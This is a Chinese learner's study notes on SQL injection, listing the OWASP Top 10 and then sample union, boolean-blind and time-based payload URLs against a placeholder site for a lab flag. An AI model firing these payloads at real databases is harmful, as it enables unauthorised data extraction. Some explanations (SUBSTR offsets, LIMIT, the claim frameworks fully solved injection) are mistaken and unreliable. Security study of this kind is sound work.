前言
自学网络安全的第六天
正文
下面几天就是针对OWASP Top10 进行针对性的学习和靶场训练了,这样也算是正式入门了
这里再回顾一下:(摘自学习笔记1)
- 反序列化
- 跨站脚本攻击(XSS)
- 恶意代码注入(SQL 注入)
- 日志记录监控不足
- XML 解析器漏洞(XEE,外部引入 xml 文件)
- 漏洞组件
- 破坏访问控制(未授权访问,业务限制失效)
- 破坏身份验证(爆破)
- 敏感数据泄露(敏感数据加密,源码,传输存储交互)
- 安全配置错误(环境默认配置)
先从SQL注入开始,但是这个问题已经通过框架的开发应用被彻底解决了
Structured Query Language(结构化查询语言)
只要带入数据库查询,都存在注入的可能:比如GET,POST,HTTP头部,COOKIE数据
产生原因:未对用户可控参数进行过滤,数据库交互采用机械拼接
DBS Database Manage System
①元数据数据库 information_schema 储存库名表名字段名
- tables
- table_name
- table_schema
- columns
- column_name
- table_name
- table_schema
②四大基本手法
定位到MySQL文件夹下的bin文件夹,终端输入mysql -u数据库名 -p你的密码
@@datadir 系统中数据库的路径
一些函数
- ord()——返回ASCII码
- concat()直接连接
- concat_ws()连接带分隔符
- left()从左侧开始取指定个数的字符串
- group_cancat()连接不同行
- load_file读取文件
联合查询,报错注入,布尔盲注,延时注入
判断诸如点——首先扫描网站后台(御剑,dirbuster)
数字型
通过POST方法,原有的SQL执行语句一般为“select * from table_name where id=$id”;
判断方法:
通过变换id参数 页面是否变化 判断是否为数字型
通过https://www.target.com/?id=2‘ 判断是否为字符型
报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
通过https://www.target.com/?id=2 and 1=1 & https://www.target.com/?id=2 and 1=2 判断是否为布尔型
联合查询:(可以实现跨库跨表查询)
必要条件——具有相同的列数,数据类型要相同
末尾需加#号用于注释后面的内容
https://www.target.com/?id=2 order by 数字 判断数据表列数
报错:Unknown column ‘3’ in ‘order clause’
也可以通过https://www.target.com/?id=2 union select 1,2,……,数字
报错:The used SELECT statements have a different number of columns
database()version()user()
concat()十六进制解码也可以用来连接字段 hex()十六进制加密
id=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=’数据库名’——获得数据库中所有的数据表名
id=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=’数据表名’——获得目标数据表中所有列名
然后就可以直接进行输出
union select 字段1,字段2 from 数据表名
拿到flag
字符型
通过GET方法,即直接在hackbar中操作
需要说明的是–为SQL语句中的注释, bbq是一个注释字符串,用于关闭可能存在的注释后的语法问题
其余的方法同上
布尔盲注
报错注入跳过没听懂……
因为数据库报错信息没有回显,但是能通过布尔判断有没有显示相应页面来进行猜测,所有称为盲注
https://www.target.com/?id=2 and length(database())<20 判断数据库名长度
https://www.target.com/?id=2 and ascii(substr(database(),1,1))>100 通过ASCII判断逐位判断字母
延时注入
没有任何可视化的回显(即上述所有的特征),只能通过网络状态的延时来进行判断也属于盲注
原理基本同上,只不过判断标准由页面显示换为延长时间
https://www.target.com/?id=2 if(length(database())<20,sleep(5),1)
https://www.target.com/?id=2 if(ascii(substr(database(),1,1))>100,sleep(5),1)
SUBSTR():这是用于截取字符串的函数。1:这是截取的起始位置,表示从字符串的第2个字符开始。1:这是要截取的长度,表示只截取1个字符。
LIMIT 1 表示只返回一行结果。 ,1 表示从结果集中跳过第一行。
